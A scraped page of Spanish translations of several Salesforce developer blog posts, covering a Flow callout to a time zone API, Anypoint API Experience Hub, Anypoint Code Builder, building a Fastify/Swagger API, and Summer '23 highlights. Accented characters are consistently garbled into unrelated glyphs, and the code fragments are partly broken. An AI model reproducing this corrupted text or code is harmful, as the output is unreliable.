Etiqueta de campo Nombre de API de campo Tipo de datos
dstOffset dstOffset __c N煤mero (18,0)
rawOffset rawOffset__c N煤mero (18,0)
Posici贸n actual Posici贸n_actual__c Geolocalizaci贸n
Identificaci贸n de zona horaria Time_Zone_Id__c Texto (255)
Nombre de zona horaria
Nombre_de_la_zona_horaria__c Texto (255)

Paso 2: crear una credencial con nombre

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, ingrese Credenciales con nombre y luego seleccione Credenciales con nombre .
  3. Haga clic en Nuevo legado .
  4. Rellene la p谩gina con la URL y los par谩metros de autenticaci贸n del extremo de la llamada.
  5. Haga clic en Guardar .

Paso 3.1: Definir propiedades de flujo

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione la opci贸n Flujo activado por registro , haga clic en Crear
    1. Objeto: Plomo
    2. Activar el flujo cuando: se crea un registro
    3. Establecer condiciones de entrada: se cumplen todas las condiciones (Y)
    4. Fila 1:
      1. Campo : Posici贸n_Actual__Latitud__s
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Falso}
    5. Haga clic en + Agregar condici贸n
    6. Fila 2:
      1. Campo : Posici贸n_Actual__Longitud__s
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Falso}
    7. Optimizar el flujo para : acci贸n y registros relacionados
    8. Elija la opci贸n para incluir una ruta de ejecuci贸n as铆ncrona para acceder a un sistema externo despu茅s de que la transacci贸n original para el registro de activaci贸n se confirme con 茅xito .
  5. Haga clic en Listo.

Paso 3.2: f贸rmula para calcular la marca de tiempo

  1. En Caja de herramientas , seleccione Administrador y luego haga clic en Nuevo recurso para calcular los segundos desde la 茅poca de Unix (1 de enero de 1970, 00:00:00).
  2. Ingrese la siguiente informaci贸n :
    1. Tipo de recurso : F贸rmula
    2. Nombre de API : forN_Timestamp
    3. Tipo de datos : N煤mero
    4. Lugares decimales : 0
    5. F贸rmula : RONDA((AHORA() 鈥 FECHAHORAVALUE(鈥1970-01-01 00:00:00鈥)) * 24 * 60 * 60, 0)
  3. Haga clic en Listo.

Paso 3.3: configurar una acci贸n de llamada HTTP GET

HTTP Callout lo gu铆a a trav茅s de la introducci贸n de los detalles sobre el servicio HTTP basado en web o el punto final de la API REST al que se est谩 conectando. Despu茅s de completar la configuraci贸n, invoca la acci贸n en un flujo.

  1. En el nodo Ejecutar asincr贸nicamente , seleccione Acci贸n .
  2. Haga clic en + Crear llamada HTTP .
  3. Configure el servicio externo que conecta Salesforce con la API basada en HTTP.
    1. Introduzca un Nombre para el servicio externo.
    2. Seleccione la credencial con nombre que cre贸 en el paso 2 .
    3. Haga clic en Siguiente .
  4. El siguiente paso es configurar la acci贸n invocable que puede usar en Flow Builder o en Salesforce.
    1. Para Etiqueta , ingrese la acci贸n que realiza la llamada.
    2. M茅todo : OBTENER
    3. Agregue el extremo de la URL para la solicitud.
      1. Ruta URL : /maps/api/timezone/json
    4. Agregue claves de par谩metros de consulta si la API a la que est谩 llamando las tiene. Cuando usa esta acci贸n en un flujo, ingresa valores para las claves definidas.
      1. Haga clic en Agregar clave
        1. Clave : ubicaci贸n
        2. Tipo de datos : cadena
        3. Requerido : Verdadero
      2. Haga clic en Agregar clave
        1. Clave : marca de tiempo
        2. Tipo de datos : entero
        3. Requerido : Verdadero
      3. Haga clic en Agregar clave
        1. Clave: clave
        2. Tipo de datos : cadena
        3. Requerido : Verdadero
  5. Proporcione un cuerpo de respuesta de API de muestra. Salesforce genera una estructura de datos a partir de la respuesta de muestra.
    1. Vaya a la secci贸n Proporcione una respuesta de muestra .
    2. Haga clic en Nuevo .
    3. Pegue una respuesta JSON de muestra .
       { "timeZoneName": "cadena de muestra", "compensaci贸n sin procesar": 1, "timeZoneId": "cadena de muestra", "errorMessage": "cadena de muestra", "dstOffset": 1, "estado": "cadena de muestra"
      }
Continue reading

Aumente el compromiso de la API con Anypoint API Experience Hub 鈽侊笍

Aumente el compromiso de la API con Anypoint API Experience Hub 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Aumente el compromiso de la API con Anypoint API Experience Hub | Blog de desarrolladores de Salesforce

驴Alguna vez trabaj贸 en un proyecto el 90% del camino, solo para descubrir que alguien m谩s ya lo hab铆a hecho? El uso de API es una forma com煤n de integrar varios sistemas y crear aplicaciones modernas. Las API son bloques de construcci贸n componibles que ayudan a brindar servicios digitales m谩s r谩pido. Pero, la realidad es que las API creadas dentro de una organizaci贸n a menudo carecen de visibilidad y documentaci贸n relevante para promover su reutilizaci贸n por parte de otros equipos. 驴Qu茅 sucede si puede tener una 煤nica fuente de verdad que le permita encontrar, ver e interactuar con las API?

Nos complace anunciar el lanzamiento de Anypoint API Experience Hub , la soluci贸n de portal de API personalizable de MuleSoft que ayuda a las organizaciones a administrar mejor su cartera de API y maximizar sus inversiones en API. En esta publicaci贸n de blog, profundizaremos en las funciones y los beneficios de la nueva soluci贸n para desarrolladores y organizaciones.

驴Qu茅 es un portal API?

Un portal de API es una interfaz integral que ayuda a los proveedores de API a exponer y publicitar sus API, educar a las comunidades de desarrolladores sobre ellas, compartir documentaci贸n y proporcionar acceso de autoservicio a los consumidores de API . Algunos portales de API tienen capacidades adicionales, como un servicio de simulaci贸n, que permite a los desarrolladores probar una API, ver respuestas de ejemplo y analizar si la API cumple con sus requisitos, lo que ahorra tiempo general al desarrollador. Los portales de API se pueden crear tanto para desarrolladores internos como externos, lo que brinda oportunidades para aumentar el valor comercial de sus API.

En el backend, un buen portal de API tambi茅n requiere administraci贸n de usuarios y API, seguridad integrada y la capacidad de realizar cambios r谩pidamente en el portal cuando sea necesario. Con todos estos factores en mente, MuleSoft ha creado una soluci贸n que permite a las organizaciones crear portales de API de marca que aumentan la visibilidad de la API y la participaci贸n de los desarrolladores.

Centro de experiencia de la API Anypoint

Hoy, MuleSoft lanz贸 Anypoint API Experience Hub , una nueva soluci贸n que permite a las organizaciones crear portales para desarrolladores para sus productos API. Con API Experience Hub, los gerentes de productos de API pueden crear portales de desarrolladores personalizados en cuesti贸n de minutos utilizando una plantilla lista para usar que los ayuda a producir, publicar e interactuar con las API creadas en cualquier tecnolog铆a o plataforma.

API Experience Hub est谩 impulsado por Salesforce Experience Cloud y es parte de la soluci贸n Universal API Management de MuleSoft , que permite a las organizaciones descubrir, controlar, publicar e interactuar con cualquier API creada en cualquier puerta de enlace o entorno.

Como desarrollador, podr谩 aprovechar los siguientes beneficios con Anypoint API Experience Hub :

  • Cree portales de API en cuesti贸n de minutos
  • Descubra y reutilice las API f谩cilmente
  • Ahorre tiempo en la documentaci贸n
  • Colaborar con otros desarrolladores

Echemos un vistazo a cada beneficio en detalle.

Cree portales de API en cuesti贸n de minutos

Con API Experience Hub, no necesita experiencia en desarrollo web para crear un portal de API, lo que le ahorra semanas de creaci贸n y resoluci贸n de problemas de un sitio web desde cero. Se le guiar谩 a lo largo del proceso sin necesidad de alternar entre la documentaci贸n y las p谩ginas de configuraci贸n del portal. Puede personalizar la marca y los colores de su organizaci贸n con clics, lo que le permite crear su portal API en cuesti贸n de minutos.

驴Quiere hacer cambios en la plantilla base? Puede personalizar a煤n m谩s a trav茅s de Salesforce Experience Builder y arrastrar y soltar varios componentes. Aprovechando las capacidades de Experience Cloud, incluso puede desarrollar y agregar componentes web de iluminaci贸n personalizados para mejorar a煤n m谩s la experiencia del usuario.

Descubra y reutilice las API f谩cilmente

Dado que API Experience Hub es parte de Anypoint Platform, cualquier API dentro de su organizaci贸n que est茅 catalogada en Anypoint Exchange puede estar disponible en su portal de API. Anypoint Exchange es un mercado interno para su organizaci贸n donde puede compartir especificaciones de API, fragmentos, conectores, plantillas de integraci贸n y m谩s. Sin embargo, con API Experience Hub, los desarrolladores pueden seleccionar y compartir las API m谩s consumibles para consumo interno y externo. Adem谩s, Experience Hub viene con capacidades de b煤squeda integradas que le permitir谩n encontrar API espec铆ficas r谩pida y f谩cilmente para su reutilizaci贸n.

Tambi茅n hay una p谩gina de detalles de API incorporada que le brinda informaci贸n sobre cada API y le permite descargar o solicitar acceso a las API.

Ahorre tiempo en la documentaci贸n

Entonces, quiz谩s se pregunte, 驴c贸mo funciona la documentaci贸n? Cuando su especificaci贸n de API est茅 lista para compartirse en el portal de API, 隆no necesitar谩 documentar todo desde cero! Con capacidades de documentaci贸n autogenerativa, Experience Hub completa la documentaci贸n y los ejemplos seg煤n la especificaci贸n de su API. Esto te beneficia de dos maneras enormes:

  1. Ahorre tiempo al crear la documentaci贸n de especificaci贸n de su API. Por supuesto, puede agregar documentaci贸n personalizada o agregar m谩s contexto, pero Experience Hub har谩 la mayor parte del trabajo por usted.
  2. Cuando busque API para incorporar a su proyecto, puede ir al portal de API sabiendo que hay documentaci贸n y ejemplos disponibles.

Por 煤ltimo, Experience Hub viene con una funci贸n Pru茅belo que le permite realizar llamadas simuladas a una API para averiguar c贸mo ser铆a una respuesta de ejemplo.

Colaborar con otros desarrolladores

Como se mencion贸 anteriormente, Anypoint API Experience Hub se basa en Salesforce Experience Cloud , un sistema de publicaci贸n web de clase empresarial. Esto significa que cuando crea un portal de API a trav茅s de Experience Hub, puede aprovechar numerosas capacidades listas para usar para comunidades, foros y soporte. Para obtener m谩s informaci贸n sobre Experience Cloud, consulte esta ruta .

El portal de API personalizado ayuda a mejorar el compromiso con las API al permitir que los desarrolladores internos y externos colaboren de manera efectiva para mejorar una API, todo dentro de una 煤nica plataforma unificada sin silos de conocimiento.

Conclusi贸n

Con Anypoint API Experience Hub, puede crear un portal de API r谩pidamente, descubrir y reutilizar API, ahorrar tiempo en la documentaci贸n y colaborar f谩cilmente con otros desarrolladores. Su organizaci贸n puede poner en funcionamiento un portal API en cuesti贸n de minutos a trav茅s de un proceso de configuraci贸n simple y una plantilla de portal.

Si desea obtener m谩s informaci贸n sobre Anypoint API Experience Hub, consulte nuestro video de presentaci贸n de productos .

Sum茅rjase a煤n m谩s en Anypoint API Experience Hub viendo nuestro seminario web, Cree ecosistemas de API m谩s r谩pido en la plataforma Anypoint de MuleSoft . En este seminario web, aprender谩 c贸mo el nuevo Anypoint API Experience Hub, creado en Salesforce Experience Cloud, le permite crear r谩pidamente experiencias de API atractivas utilizando las API catalogadas en Anypoint Exchange.

Sobre el Autor

Sue Siao es directora t茅cnica de marketing de productos en Salesforce. Es una creadora de contenido que da vida a los productos a trav茅s de demostraciones t茅cnicas. Fuera del horario laboral, es mentora de j贸venes en el 脕rea de la Bah铆a de San Francisco y practica boulder.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Presentamos las mejoras de la beta abierta de Anypoint Code Builder 鈽侊笍

Presentamos las mejoras de la beta abierta de Anypoint Code Builder 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Presentamos las mejoras de la versi贸n beta abierta de Anypoint Code Builder | Blog de desarrolladores de Salesforce

隆Nos complace anunciar el lanzamiento en junio de la versi贸n beta abierta de Anypoint Code Builder! Anypoint Code Builder es el IDE (Entorno de desarrollo integrado) de pr贸xima generaci贸n de MuleSoft, para que los desarrolladores dise帽en, desarrollen e implementen API e integraciones. Desde su lanzamiento Open Beta en febrero de 2023, el equipo ha estado agregando mejoras regularmente en una cadencia bimensual. Mientras que el lanzamiento de abril se centr贸 en capacidades de IU adicionales, el lanzamiento de junio se centra en una mayor accesibilidad para los usuarios y la flexibilidad en la forma en que los usuarios pueden dise帽ar e implementar sus API.

Disponibilidad de Open Beta en el plano de control de la UE

Desde su lanzamiento, la versi贸n beta abierta de Anypoint Code Builder solo ha estado disponible en el plano de control de EE. UU. Nos complace decir que esta restricci贸n ya no existe. 隆La versi贸n beta abierta de Anypoint Code Builder ahora est谩 disponible para todos los usuarios en el plano de control de la UE! Esto significa que los usuarios de la UE ya no necesitar谩n crear nuevas cuentas de prueba en el plano de control de NA para acceder a una instancia de IDE en la nube y experimentar una latencia mucho menor a medida que dise帽an y desarrollan. En el futuro, todas las versiones y mejoras futuras de Anypoint Code Builder estar谩n disponibles para los aviones de control de EE. UU. y la UE simult谩neamente.

Entonces, 驴c贸mo pueden comenzar los usuarios de la UE? Simplemente haga que el administrador de su organizaci贸n acepte los T茅rminos y condiciones de la versi贸n Beta y le otorgue permisos, luego dir铆jase a Anypoint Code Builder Central , donde puede crear una nueva instancia de su IDE en minutos. Y dado que es un IDE basado en la nube, seleccionaremos autom谩ticamente el plano de control adecuado para su instancia. 隆Es f谩cil!

Dise帽o e implementaci贸n de API iterativas

Con Anypoint Code Builder, a los usuarios se les ofrecen tres recorridos principales para comenzar: dise帽ar especificaciones de API , implementar especificaciones de API y desarrollar integraciones . Tradicionalmente, la 煤nica forma de implementar una especificaci贸n de API era terminar por completo la fase de dise帽o y publicarla en nuestro mercado p煤blico, Anypoint Exchange . Sin embargo, no existe una regla que diga que el dise帽o y la implementaci贸n de la API deben estar aislados (despu茅s de todo, todos somos Trailblazers aqu铆, 驴no?). Es por eso que presentamos el dise帽o e implementaci贸n de API iterativas en Anypoint Code Builder. Esto le permite comenzar a dise帽ar la especificaci贸n de su API y luego saltar directamente a la fase de implementaci贸n para comenzar a agregar l贸gica empresarial antes de completar la fase de dise帽o. El resultado final es una experiencia optimizada que permite a los usuarios flexibilizarse entre las fases de dise帽o e implementaci贸n, abordando todo el proyecto en secciones en lugar de todo a la vez. Y para colmo, hemos hecho que toda esta experiencia sea perfecta al proporcionar una vista 煤nica para ambas fases directamente desde su navegador.

Se agreg贸 soporte de interfaz de usuario para fragmentos

Cuando se lanz贸 por primera vez Open Beta para Anypoint Code Builder, la interfaz de usuario era de solo lectura. Los desarrolladores pod铆an usarlo para visualizar su trabajo, pero no hab铆a forma de desarrollarlo activamente. Sin embargo, este siempre fue un plan temporal y el objetivo final es brindar a los usuarios dos opciones s贸lidas para la integraci贸n y el desarrollo de API: c贸digo bajo y c贸digo profesional. Durante los 煤ltimos seis meses, hemos estado trabajando para lograr esta visi贸n agregando formas de interactuar con la interfaz de usuario. Por ejemplo, en nuestro lanzamiento de abril, introdujimos la capacidad de agregar nuevos componentes a sus flujos simplemente usando el s铆mbolo "+".

En nuestro lanzamiento de junio, presentamos dos mejoras m谩s en la interfaz de usuario para mejorar la experiencia de c贸digo bajo. La primera es la capacidad de seleccionar conectores directamente desde Anypoint Exchange mientras se agregan componentes. Esto proporciona a los desarrolladores una alternativa de interfaz de usuario a la paleta de comandos, al mismo tiempo que les brinda una forma m谩s limpia de clasificar todas las versiones y operaciones del conector que est谩n disponibles. El segundo es la capacidad de agregar fragmentos de la interfaz de usuario.

Los fragmentos son bloques de c贸digo preempaquetados que los desarrolladores pueden reutilizar en varios proyectos. Hay algunos que vienen preconstruidos con Anypoint Code Builder, pero los desarrolladores tambi茅n pueden crearlos personalizados. Esto acelera el desarrollo al facilitar la replicaci贸n de tareas repetitivas. Por ejemplo, supongamos que con frecuencia necesita obtener informaci贸n de contacto de una organizaci贸n espec铆fica en Salesforce. La primera vez que haga esto, escribir谩 el XML con toda la configuraci贸n necesaria. Una vez escrito, puede empaquetar ese c贸digo en un fragmento. La pr贸xima vez que necesite obtener informaci贸n de contacto de esa organizaci贸n, simplemente puede seleccionar ese fragmento de la interfaz de usuario en lugar de codificarlo todo nuevamente. A medida que los desarrolladores comienzan a crear bibliotecas de fragmentos, vemos que se trata de una herramienta incre铆blemente poderosa que ayudar谩 a promover la reutilizaci贸n en toda la organizaci贸n.

Conclusi贸n

El lanzamiento en junio de la versi贸n beta abierta de Anypoint Code Builder es un hito fundamental en nuestro camino hacia la disponibilidad general. Con la expansi贸n al plano de control de la UE, estamos entusiasmados de brindarles a m谩s desarrolladores la oportunidad de tener en sus manos el producto. Y esperamos continuar introduciendo capacidades de interfaz de usuario adicionales junto con algunas funcionalidades de inteligencia artificial emocionantes a finales de este a帽o. Si desea obtener una descripci贸n general m谩s detallada de las mejoras de junio, consulte la descripci贸n general completa del video .

M谩s recursos

Sobre el Autor

Rohan Vettiankal es gerente de marketing de productos en MuleSoft, donde dirige su cartera de integraci贸n. A lo largo de su carrera, ayud贸 a llevar una variedad de productos al mercado, incluida una herramienta de visualizaci贸n de datos basada en la web, una plataforma de infraestructura de datos local y un producto PaaS en la nube. En su tiempo libre, Rohan disfruta de actividades al aire libre como el senderismo, el snowboard y la escalada en roca. Tambi茅n le encanta la m煤sica y ha estado tocando el piano desde que ten铆a 12 a帽os y recientemente ha estado aprendiendo guitarra. Siga a Rohan en LinkedIn .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Dise帽e una API Swagger con c贸digo para traer datos a Salesforce 鈽侊笍

Dise帽e una API Swagger con c贸digo para traer datos a Salesforce 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Dise帽e una API de Swagger con c贸digo para llevar datos a Salesforce | Blog de desarrolladores de Salesforce

La integraci贸n de una API externa con su organizaci贸n de Salesforce puede ser una tarea sencilla que no requiere c贸digo si utilizaCredenciales con nombre y Servicios externos . Deber谩 crear una credencial con nombre que apunte a la API y configurar un servicio externo en la interfaz de usuario de configuraci贸n. La clave aqu铆 es proporcionar una especificaci贸n OpenAPI para la API. Si la API no tiene una, puede dise帽arla usted mismo manualmente usando YAML o JSON, usar MuleSoft Anypoint Platform o aprovechar las herramientas y el c贸digo de c贸digo abierto.

En esta publicaci贸n, le presentaremos la especificaci贸n OpenAPI y Swagger, discutiremos los elementos principales de la especificaci贸n y lo guiaremos a trav茅s del dise帽o e implementaci贸n de una API con c贸digo. Usaremos Node.js y Swagger dentro del marco Fastify para esta tarea. Finalmente, integraremos esta API con Salesforce.

OpenAPI y Swagger

OpenAPI es una especificaci贸n para dise帽ar y construir API. Proporciona una forma estandarizada de definir su API para otros, brindando una forma estructurada que incluye puntos finales, tipos de solicitud/respuesta, definiciones de esquema, m茅todos de autenticaci贸n y m谩s. Las especificaciones de OpenAPI est谩n escritas en formatos YAML o JSON, ambos f谩ciles de leer y escribir. Esta especificaci贸n es ampliamente adoptada y respaldada por una variedad de herramientas, lo que la convierte en una opci贸n popular para dise帽ar y documentar API. De hecho, si desea importar una API a Salesforce utilizando servicios externos, deber谩 especificarse con OpenAPI. Adem谩s, Salesforce es miembro de la Iniciativa OpenAPI .

Nota: A la fecha de esta publicaci贸n, la versi贸n actual de la especificaci贸n OpenAPI es 3.1.0.

Swagger , por otro lado, es un conjunto de herramientas ( la mayor铆a de c贸digo abierto ) para implementar la especificaci贸n OpenAPI. Incluye la interfaz de usuario de Swagger, que proporciona una interfaz gr谩fica para comprender y probar las API, y Swagger Codegen, que genera c贸digo SDK de cliente y ap茅ndices de servidor a partir de una especificaci贸n OpenAPI.

La especificaci贸n OpenAPI v2 tambi茅n se conoce como Swagger, pero su nombre cambi贸 cuando se convirti贸 en parte de la iniciativa OpenAPI en 2016.

Estructura b谩sica de la especificaci贸n OpenAPI

La especificaci贸n OpenAPI est谩 organizada en las siguientes secciones clave:

API abierta Define el documento ra铆z y combina la lista de recursos y la declaraci贸n de la API. Requerido
Informaci贸n Proporciona metadatos sobre la API, como el t铆tulo, la descripci贸n, los t茅rminos del servicio, la informaci贸n de contacto, etc. Obligatorio
Servidores Especifica una o m谩s URL base para su API, como producci贸n o preparaci贸n.
Seguridad Define un esquema de seguridad que pueden utilizar las operaciones de la API.
Caminos Describe las rutas y operaciones disponibles para la API. Cada ruta tiene un m茅todo HTTP con los detalles de la operaci贸n.
Etiquetas Agrega metadatos a una sola etiqueta que utiliza el objeto de operaci贸n.
Documentos externos Proporciona una descripci贸n y una URL para la documentaci贸n externa.
Componentes Define un conjunto de objetos reutilizables para diferentes aspectos de la API. Esto puede incluir esquemas, respuestas, par谩metros, ejemplos, cuerpos de solicitud, encabezados, esquemas de seguridad, etc.

Para obtener una explicaci贸n m谩s detallada de cada secci贸n y sus correspondientes definiciones de objeto, consulte la documentaci贸n oficial de la especificaci贸n OpenAPI .

Para fines de demostraci贸n, crearemos una API para administrar una librer铆a. Esta API contar谩 con dos m茅todos HTTP: uno para enumerar los libros disponibles y otro para agregar nuevos libros. A continuaci贸n, encontrar谩 una definici贸n b谩sica de esta API, centr谩ndose en el m茅todo para listar libros ( GET /books ) y sus objetos de respuesta.

Tenga en cuenta que estamos usando tres secciones principales aqu铆: Informaci贸n , Rutas y Componentes . Como se mencion贸 anteriormente, describiremos esta API a medida que la implementemos mediante c贸digo. Para este prop贸sito, utilizaremos Fastify y Fastify Swagger.

Fastify y Fastify Swagger

Fastify es un marco web altamente eficiente y flexible para Node.js. Est谩 dise帽ado para facilitar su uso y ofrecer la m谩xima velocidad sin comprometer la personalizaci贸n. Fastify proporciona una base s贸lida para las aplicaciones web y las API, con funciones como la validaci贸n de solicitudes y respuestas basadas en esquemas, ganchos, complementos y registro autom谩tico. Una de sus principales ventajas radica en su ecosistema, que incluye numerosos complementos centrales y mantenidos por la comunidad.

Uno de estos complementos es fastify-swagger . Este complemento nos permite ofrecer definiciones de Swagger (OpenAPI v2) u OpenAPI v3, que se generan autom谩ticamente a partir de sus esquemas de ruta o de una definici贸n existente de Swagger/OpenAPI. Adem谩s, utilizar谩 fastify-swagger-ui , un complemento que sirve una instancia de Swagger UI dentro de su aplicaci贸n.

Nota: La siguiente demostraci贸n requiere la instalaci贸n de Node.js LTS y, a la fecha de esta publicaci贸n de blog, la 煤ltima versi贸n es v18.16.0.

Comencemos a crear la API de su librer铆a instalando Fastify CLI y generando un nuevo proyecto ejecutando:

Luego, vayamos a la carpeta del proyecto e instalemos las dependencias fastify-swagger y fastify-swagger-ui .

Nota: En esta demostraci贸n, se centrar谩 en tres aspectos principales: agregar compatibilidad con Swagger a Fastify, definir rutas de API y delinear esquemas y tipos de respuesta. No explicaremos c贸mo integrar la API con una base de datos. Si est谩 interesado en explorar la fuente completa del proyecto, est谩 disponible en el repositorio de ejemplos de codeLive.

Agreguemos compatibilidad con Swagger a Fastify editando el archivo app.js , luego importemos Swagger y SwaggerUI y registr茅moslos como complementos.

aplicaci贸n.js

En la configuraci贸n del complemento de Swagger, tiene la opci贸n de pasar toda la definici贸n de especificaci贸n de OpenAPI, o puede aprovechar el enfoque din谩mico que ofrece el complemento. Para esta demostraci贸n, utilizar谩 el enfoque din谩mico. Dado que el 煤nico campo obligatorio es info , definir谩 los metadatos de su API all铆, adem谩s, la secci贸n refResolver se encarga de nombrar las referencias de definici贸n de esquema.

Y para SwaggerUI, solo especifica la ruta donde se alojar谩 el sitio de documentaci贸n.

Ahora vamos a crear una carpeta schemas . Aqu铆 es donde definir谩 los esquemas de su API. Para esta demostraci贸n, definir谩 un esquema book y un esquema error .

esquemas/index.js

Los esquemas representan la estructura de los objetos con los que trabajar谩, tanto para los cuerpos de solicitud como para los de respuesta. Para la especificaci贸n OpenAPI, el complemento Swagger agregar谩 autom谩ticamente estos objetos en el campo components .

Finalmente, definamos las rutas API para GET /books y POST /books usando Fastify. Primero, deber谩 registrar los esquemas dentro de Fastify. Luego, especificar谩 los objetos de respuesta y solicitud para cada ruta que haga referencia a esos esquemas.

rutas/root.js

{ // … look at the code repository for a complete implementation } ) // POST /books fastify.post( ‘/books’, { schema: { description: "Create a book", body: { $ref: ‘book#’, required: [‘author’, ‘title’] }, response: { 201: { description: ‘Returns the book that has been created’, $ref: ‘book#’ }, 500: { description: ‘Returns an error’, $ref: ‘error#’ } } } }, async (request, reply) => { const { title, author } = request.body const id = randomUUID() const client = await fastify.pg.connect() try { const { rows: books } = await client.query( ‘INSERT INTO books(id, title, author) VALUES($1, $2, $3) RETURNING *’, [id, title, author] ) const [newBook] = books reply.code(201).send(newBook) } catch (error) { reply .status(500) .send({ code: 500, message: `An error ocurred: ${error.message}` }) } finally { client.release() } } ) // GET / fastify.get(‘/’, { schema: { hide: true } }, async function (request, reply) { reply.status(301).redirect(‘/api-docs’) })
} “>

Analicemos la ruta POST /books :

  • La funci贸n fastify.post define el m茅todo HTTP.
  • El primer argumento especifica la ruta: /books.
  • El segundo argumento especifica el schema , que incluye el body : el objeto de carga 煤til que espera la API. (Tenga en cuenta que es una referencia al esquema del book ). Tambi茅n incluye varios objetos response para esa ruta, que se asignan a los c贸digos de estado HTTP correspondientes 201 y 500 .
  • El tercer argumento es la implementaci贸n de la ruta. En este caso, est谩 insertando el objeto en la base de datos y devolviendo el nuevo objeto. Si este proceso falla, devolver谩 un objeto de error. Es importante tener en cuenta que est谩 utilizando los mismos esquemas que defini贸 anteriormente.

Nota: Tambi茅n tiene la opci贸n de excluir ciertas rutas de la documentaci贸n pasando hide: true en el objeto de esquema de esa ruta espec铆fica, como se demuestra en GET / route.

Su API est谩 lista, as铆 que ejec煤tela localmente para echar un vistazo a la interfaz de SwaggerUI ejecutando:

Y navegue a http://localhost:3000/api-docs para ver las diferentes rutas, su documentaci贸n y tener una forma de probarlas directamente desde la interfaz.

Si desea probarlo e implementarlo en Heroku, aseg煤rese de actualizar el script start en el archivo package.json con lo siguiente.

Adem谩s, aseg煤rese de tener acceso a una base de datos Heroku PostgreSQL y cree el esquema de la base de datos ejecutando:

<dx-code-block title language code-block="heroku pg:psql

Nota: El archivo database.sql est谩 disponible en el repositorio de ejemplos de codeLive.

Luego puede implementarlo ejecutando:

Si desea ver c贸mo se ve implementado, vea mi versi贸n que se ejecuta en Heroku .

Integraci贸n de una API externa con Salesforce

Ahora que tiene una API de acceso p煤blico, integr茅mosla con Salesforce como un servicio externo.

Primero, deber谩 crear una credencial con nombre para esta API. En la interfaz de usuario de configuraci贸n, vaya a Seguridad > Credenciales con nombre y cree una credencial externa con un protocolo de autenticaci贸n personalizado y una entidad de seguridad.

Aseg煤rese de que la credencial externa tenga una entidad principal a la que le haya asignado permisos en Acceso principal de credenciales externas en su conjunto de permisos.

Luego, cree una credencial con nombre que haga referencia a la credencial externa con la URL que apunta a la API p煤blica.

A continuaci贸n, vaya a Integraciones > Servicios externos y agregue un nuevo servicio externo desde una especificaci贸n de API, seleccione la credencial con nombre y configure la ruta relativa a la ruta de especificaci贸n de OpenAPI. En su demostraci贸n, ser谩 /api-docs/json .

Despu茅s de eso, guarde sus cambios y seleccione las operaciones que desea importar a Salesforce, revise las operaciones y finalice.

Como puede ver, las operaciones que ha seleccionado se han importado correctamente, especificando tanto los par谩metros de entrada como los de salida.

Ahora podr谩 invocar este servicio externo desde Flow, Apex, Einstein Bots y OmniStudio.

Conclusi贸n

OpenAPI y los servicios externos de Salesforce brindan una poderosa combinaci贸n para integrar API externas en su organizaci贸n de Salesforce. Al aprovechar el enfoque estandarizado de OpenAPI para definir las API y la capacidad de Salesforce para consumir f谩cilmente estas definiciones e invocarlas desde soluciones de c贸digo bajo y pro-c贸digo, los desarrolladores como usted pueden optimizar el proceso de conexi贸n a servicios externos y mejorar las capacidades de sus aplicaciones de Salesforce.

Si est谩 interesado en obtener m谩s informaci贸n sobre los servicios externos , puede encontrar una lista de recursos de aprendizaje a continuaci贸n, incluidos videos que muestran c贸mo invocarlos desde Flow y Apex.

Recursos de aprendizaje

Sobre el Autor

Juli谩n Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educaci贸n y el intercambio de conocimientos y ha estado involucrado en la organizaci贸n de comunidades tecnol贸gicas y de desarrolladores desde 2001.

S铆galo en Twitter @julian_duque, @julianduque.co en Bluesky social o LinkedIn.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Aspectos destacados de la versi贸n para desarrolladores | Aprende Moar Verano '23 鈽侊笍

Aspectos destacados de la versi贸n para desarrolladores | Aprende Moar Verano '23 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Aspectos destacados de la versi贸n para desarrolladores | Aprende Moar Verano '23 | Blog de desarrolladores de Salesforce

隆Haz un gran revuelo con el lanzamiento de Summer '23!

Sabemos que cada versi贸n trae consigo muchas funciones nuevas y sorprendentes, y puede haber mucho que digerir. Con Learn MOAR, empaquetamos el lanzamiento y se lo ofrecemos en un formato f谩cil de digerir con blogs, videos y m谩s.

隆Es f谩cil empezar!

  • 隆Explore los trailmixes de Trailhead con aspectos destacados de lanzamiento clave para desarrolladores o administradores, o ambos!
  • 隆脷nase a nosotros para Release Readiness Live ! Los expertos en productos y los defensores de los desarrolladores analizar谩n y demostrar谩n las nuevas funciones en el lanzamiento de Summer '23 y, al final de nuestra transmisi贸n, responderemos sus preguntas. Sintonice a las 9 am PT el 19 de mayo para la sesi贸n de desarrolladores. 驴No puedes unirte a nosotros en vivo? La grabaci贸n se publicar谩 unas horas despu茅s de que finalice la transmisi贸n.

Siga y complete un trailmix de Learn MOAR Summer '23 para administradores o desarrolladores para obtener una insignia exclusiva de la comunidad.

Introducci贸n

